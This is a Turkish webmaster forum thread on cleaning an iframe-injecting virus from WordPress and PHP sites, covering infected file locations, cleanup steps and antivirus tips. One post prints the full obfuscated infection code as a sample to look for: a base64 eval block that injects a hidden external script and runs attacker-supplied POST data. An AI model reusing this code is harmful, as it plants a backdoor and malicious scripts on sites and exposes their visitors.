İframe Virüsü Temizleme... ( Saldırgan Site sorunu ) - Okuyun...

Question

Arkadaşlar ortalıkta yeni bir virüs dolaşıyor. Bir çok arkadaşım etkilenmiş. Bana da bulaşmıştı bir arkadaşa parayla temizlettirdim ve başka siteme de bulaştı. Biraz uğraşıp tamamen sitelerimi temizledim.. Biraz bunun hakkında bilgi vereceğim.
Bu virüs sadece php dosyalarınıza değil  js ( Java script ) Dosyalarınada bulaşıyor. 
Virüs nerelerde bulunuyor ?
Öncelikle ana dizinde index.php - İndex.html dosyalarına
wp-config de en yukarıya
eklentilerin index.php ve  .js uzantılı dosyalarına 
Ve images dosyalarının içine images.php yada image.php dosyasına 
Ve tema da index.php  ve .js dosyalarına atıyor 
Temizleme Yöntemi
Öncelikle wp-admin ve wp-includes dosyalarını yedinden upload edin.
İmage ( resim ) Klasörleri içindeki image.php dosyasını silin.
Sonra wp-config.php de en üstteki yabancı kodu silin
Temayı tamamen temizleyene kadar silin ( yedek alın ) ya da başka tema kullanın
Eklentileri tamamen silin.
Ben bunları yaptım ve kurtuldum. Yalnız tek bir sorun var. Bu virüs bulaştığı zaman pc'ye format atmanız gerekmekte. Çünkü Virüs makinanıza bulaştıktan sonra antiye yakalanmıyor ve ayrıca FTP'de siteye tekrar girerseniz yeniden bulaşıyor ( SAdece o siteye değil ftp deki diğer sitelere de bulaşıyor.)
Umarım işe yarar arkadaşlar... Yine de başaramazsanız benim gibi parayı verip temizletin ve kurtulun. Allah sabır versin ne diyim.

Not: Virüsün Tekrar bulaşmaması için Dosya ve klasörlerin yazma iznini kaldırın.

psblog · Answer

Sağolsun WebhastasiNet benim sitenin virüsleri temizledi 1 günde index'i kaldırdık. Teşekkürler +rep

performansodev · Answer

allah o virüsü cikaranların ....

o virüs bendede vardı arkadaşlar dikkatlice okuyun

<?php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygndD  d4bGYnKSl7ZnVuY3Rpb24gdDd4bGYoJHMpe2lmKHByZWdfbWF0  Y2hfYWxsKCcjPHNjcmlwdCguKj8pPC9zY3JpcHQ+I2lzJywkcy  wkYSkpZm9yZWFjaCgkYVswXWFzJHYpaWYoY291bnQoZXhwbG9k  ZSgiXG4iLCR2KSk+NSl7JGU9cHJlZ19tYXRjaCgnI1tcJyJdW1  5cc1wnIlwuLDtcPyFcW1xdOi88PlwoXCldezMwLH0jJywkdil8  fHByZWdfbWF0Y2goJyNbXChcW10oXHMqXGQrLCl7MjAsfSMnLC  R2KTtpZigocHJlZ19tYXRjaCgnI1xiZXZhbFxiIycsJHYpJiYo  JGV8fHN0cnBvcygkdiwnZnJvbUNoYXJDb2RlJykpKXx8KCRlJi  ZzdHJwb3MoJHYsJ2RvY3VtZW50LndyaXRlJykpKSRzPXN0cl9y  ZXBsYWNlKCR2LCcnLCRzKTt9aWYocHJlZ19tYXRjaF9hbGwoJy  M8aWZyYW1lIChbXj5dKj8pc3JjPVtcJyJdPyhodHRwOik/Ly8oW14+XSo/KT4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdYXMkdilpZihwcm  VnX21hdGNoKCcjW1wuIF13aWR0aFxzKj1ccypbXCciXT8wKlsw  LTldW1wnIj4gXXxkaXNwbGF5XHMqOlxzKm5vbmUjaScsJHYpJi  Yhc3Ryc3RyKCR2LCc/Jy4nPicpKSRzPXByZWdfcmVwbGFjZSgnIycucHJlZ19xdW90ZS  gkdiwnIycpLicuKj88L2lmcmFtZT4jaXMnLCcnLCRzKTskcz1z  dHJfcmVwbGFjZSgkYT1iYXNlNjRfZGVjb2RlKCdQSE5qY21sd2  RDQnpjbU05YUhSMGNEb3ZMMjl5WW1WbGN5NWpiMjB2YzNObWJT  OXZjbUpsWlhNdWNHaHdJRDQ4TDNOamNtbHdkRDQ9JyksJycsJH  MpO2lmKHN0cmlzdHIoJHMsJzxib2R5JykpJHM9cHJlZ19yZXBs  YWNlKCcjKFxzKjxib2R5KSNtaScsJGEuJ1wxJywkcywxKTtlbH  NlaWYoc3RycG9zKCRzLCc8YScpKSRzPSRhLiRzO3JldHVybiRz  O31mdW5jdGlvbiB0N3hsZjIoJGEsJGIsJGMsJGQpe2dsb2JhbC  R0N3hsZjE7JHM9YXJyYXkoKTtpZihmdW5jdGlvbl9leGlzdHMo  JHQ3eGxmMSkpY2FsbF91c2VyX2Z1bmMoJHQ3eGxmMSwkYSwkYi  wkYywkZCk7Zm9yZWFjaChAb2JfZ2V0X3N0YXR1cygxKWFzJHYp  aWYoKCRhPSR2WyduYW1lJ10pPT0ndDd4bGYnKXJldHVybjtlbH  NlaWYoJGE9PSdvYl9nemhhbmRsZXInKWJyZWFrO2Vsc2Ukc1td  PWFycmF5KCRhPT0nZGVmYXVsdCBvdXRwdXQgaGFuZGxlcic/ZmFsc2U6JGEpO2ZvcigkaT1jb3VudCgkcyktMTskaT49MDskaS  0tKXskc1skaV1bMV09b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5k  X2NsZWFuKCk7fW9iX3N0YXJ0KCd0N3hsZicpO2ZvcigkaT0wOy  RpPGNvdW50KCRzKTskaSsrKXtvYl9zdGFydCgkc1skaV1bMF0p  O2VjaG8gJHNbJGldWzFdO319fSR0N3hsZmw9KCgkYT1Ac2V0X2  Vycm9yX2hhbmRsZXIoJ3Q3eGxmMicpKSE9J3Q3eGxmMicpPyRh  OjA7ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnZSddKSk7')  ); ?>
?>

şekilde olduğu gibi tüm php dosyalarınıza bakın
js dosyalarına bakın
bu şekilde kod varmı?

64 bit şifrelenmiş şekilde iframe atıyor karaktersizler artık virüs çeşitleri iyice gelişti 
Kb3.php diye bir dosya var shell o da aynı şekilde antivirüs programları buluyor fakat şifreliyorlar akıllılık yapıyorlar sonra bulunmuyor shell hiçbir antivirüs bulmuyor

( kaspersky da dahil )
64 bit şifrelileri bulamıyor
manuel el ile bakıcaksınız

kolay gelsin

wolker · Answer

Programı kurup scan ediyorsun o hallediyor hepsini. taramadan sonra yine web dosyalarını kontrol et varmı diye, Sonra ftp sifrelerini değiştir. Sorun devam ederse sunucun windows ise aynı programla serverında da tarat. gezginler den indirebilirsin.

Server a program vs kurarsan ancak o zaman bulaşıyor. Benim linux sunucuma bulaşmıştı mecbur formatlatmıştım.

Gamesites · Answer

Eğerki cute ftp ile iframe virüsü yediysen server'a bile giriş yapabilirler yani server  windows serversa kendilerine oturup oluşturup sunucuna bağlanabilirler. Bi eventlerden kontrol et istersen linux yiyormu tam olarak bilmiyorum yanlız.

DarkStyLe · Answer

Gamesites adlı üyeden alıntı:						mesajı görüntüle									Kardeş  Ftp programı olarak cute ftp'mi kullanıyorsun? 		Evet cuteftp kullanıyordum fakat derhal sildim ondaki açıktan dolayı girmiş sanırım virüs :S

wolker adlı üyeden alıntı:						mesajı görüntüle									normal malware (ücretsiz) ile silebilirsiniz. Aynı şey benimde başıma geldi. 		Peki kullanımı basitmidir nasıl kullanıcam dosyaları pc me çekip tarattıracakmıyım?

wolker · Answer

normal malware (ücretsiz) ile silebilirsiniz. Aynı şey benimde başıma geldi.

Gamesites · Answer

Kardeş  Ftp programı olarak cute ftp'mi kullanıyorsun?

DarkStyLe · Answer

Arkadaşlar sitemde HTML/FlashFrame.Gen virüsü buluyor avira nasıl temizleyebilirim yardım edermisiniz acil

bucakrali · Answer

benim bugun basima geldi wp tabanli siteme ama fazla bulasmams iframe kodlarini sildim virusun sildigi bi kac kodu yeniden ekledim sorun duzeldi. Ama daha sirada bekleyen 7-8 tane daha site var onlar baya bi ugrastircak gibi bu basliktan sonra fazla ugrasmicagimi anladim

websitesipaketi · Answer

format atmadan çözme olayı yokmu? bir virüs programı falan icat etmiştir birileri bilen varsa lütfen yazsın

serheldan · Answer

WebhastasiNet Merhaba,
Önemli ve guncel bir konuya değinmişsiniz bu sorunu yaşayan ve sizin sayenizde çözen tüm arkadaşlar için bir kerede ben teşekkür ederim.

Bendede aynı sorun oldu, PC formatladım FTP bilgisini değiştirdim, hostu komple sildim sonra sıfırdan db yi yukledim.
MYBB forum ve WP blogumu sıfır paketlerle tekrar yukledim.
Sonra hersey sorunsuz olarak gorunurken birden aynı sorun tekerrür etti.
Ne yaptıusam çözemedim.

Google den fişlenmemek icinde PR 1 forum ve blogumu komple kaldırdım.

Çözüm bulana kadar, yine bulaşır tedirginliği ile tekrar kurmaktan çekiniyorum.

Bu belayı temizledikten sonra tekrar bulaşmayan var mı?

PS: Msn ekledim, ilave bi bilginiz varsa tavsiyeleriniz bizim için çok önemlidir.

Gwindor · Answer

ben 2 haftadır kaldıramadım herşeyi yaptım ama olmadı...

hem badware.org dan hem google yönetici araçlarından olmadı...

CroNicDeLy · Answer

HTML yede Bulasıyor
 
Çözüm Dosyaları Temız Bır Pc Ye Cekın
Tum Dosyaları Tek Tek Acın Sızın TAnımlamadıgızın ıframe ve <script>  kodlarını Temizleryin Ftpdek Eski Dosyaları Silin  Temizlediginiz Dosyaları Upload Edın Tamamdır 
Ben Boyle KurtulduM

WebhastasiNet · Answer

psblog adlı üyeden alıntı:						mesajı görüntüle									Sağolsun WebhastasiNet benim sitenin virüsleri temizledi 1 günde index'i kaldırdık. Teşekkürler +rep 		Yardım edebildiysem ne mutlu. Bir tşk fazlasıyla yetiyor...

erpay · Answer

Arkadaşlar ben de G data ile temizledim hepsini. Hatta virüs girdikten sonra bütün dosyaları nidirdim siteden sonra bunu gdata ile taratıp maruz kalmış dosyaları buldum ve yenileriyle değiştim şu an bir sorun kalmadı. Gdataya kesinlikle öneriyorum mutlaka deneyin.

Gwindor · Answer

avg free edition bu gumblar.cn virüsü felan anında tespit ediyor arkadaşlar süper bişey ben şuan onunla temizliyorum...

webnego · Answer

bilgisayarıma kaspersky'ı kurmadan önce benim siteyede girmişti fakat kaspersky yükledikten sonra bir daha iframe virüslerine rastlamadım. Tavsiye ederim, bence en iyi antivirüs programı

Blackblue · Answer

Benim tanıdıklarımda fişlendi. Kodları tek tek temizledim yardımcı olmak için. Şuan temiz görünüyor, format atmadan sakın ftpye girmeyin dedim. Pcden bulaşıyor sanırım. Google saldırgan indexini çekmiş değil henüz. Bakalım ne zaman çekecek..

2 türlü rastladım ben şimdiye kadar.

Birisi php kodu olarak php sayfaların en tepesine alaca bulaca bir php kodu olarak yerleşiyor. Mantığına bakmadım ama tahminen sonsuz döngü oluşturup sayfayı yavaşlayıp kilitliyodur  JS Kodu ise cryptolanmış sanırım. 2-3 satır koddu.

vidoo · Answer

Gwindor adlı üyeden alıntı:						mesajı görüntüle									iyide bu gumblar.cn virüsü iframe değil ki?
.html de ayrı bir kod
.php de ayrı bir ko
.js de ayrı bir kod ?
nasıl bulacaz biz< bu kadar kodları yahu allah belasını versin kim yaptıysa bunu işimiz gücümüz yok nelerle uğraşıyoz. 		bazı arkadaşlar teker teker siliyor

WebhastasiNet · Answer

Dosyaların yazma iznini kaldırın

akmaster_91 · Answer

bnm siteyede bulştı bu virüs, virüsü temizledik diyelim bir daha bulaşmaması için ne yapacağız?

WebhastasiNet · Answer

Arkadaşlar herkeze yardım etmeye çalışıyorum. Msn ekleyin yeter. Vaktim olduğu sürece yardımcı olurum

Gwindor · Answer

iyide bu gumblar.cn virüsü iframe değil ki?

.html de ayrı bir kod

.php de ayrı bir ko

.js de ayrı bir kod ?

nasıl bulacaz biz< bu kadar kodları yahu allah belasını versin kim yaptıysa bunu işimiz gücümüz yok nelerle uğraşıyoz.

kalitelihostorg · Answer

bu virüs sayesinde şuan bir çok sitem googlede fişlenmiş durumda..
aynen dedigin gibi
genel olarak
index.php en fazla..
config ve db nin bulundugu ayarlama kısımlar 2.olarak
eklentiler 3. olarak
bulaşma sıkılıgı aynen böyle

WebhastasiNet · Answer

Profilimde msn'im bulunmakta. Eklerseniz yardımcı olabilirim.

lnkdgsm · Answer

yardımcı olabilir misin bir sitemde yaşıyorum bu sorunu? wordpress düzeltme konusunda yardım edersen sevinirim.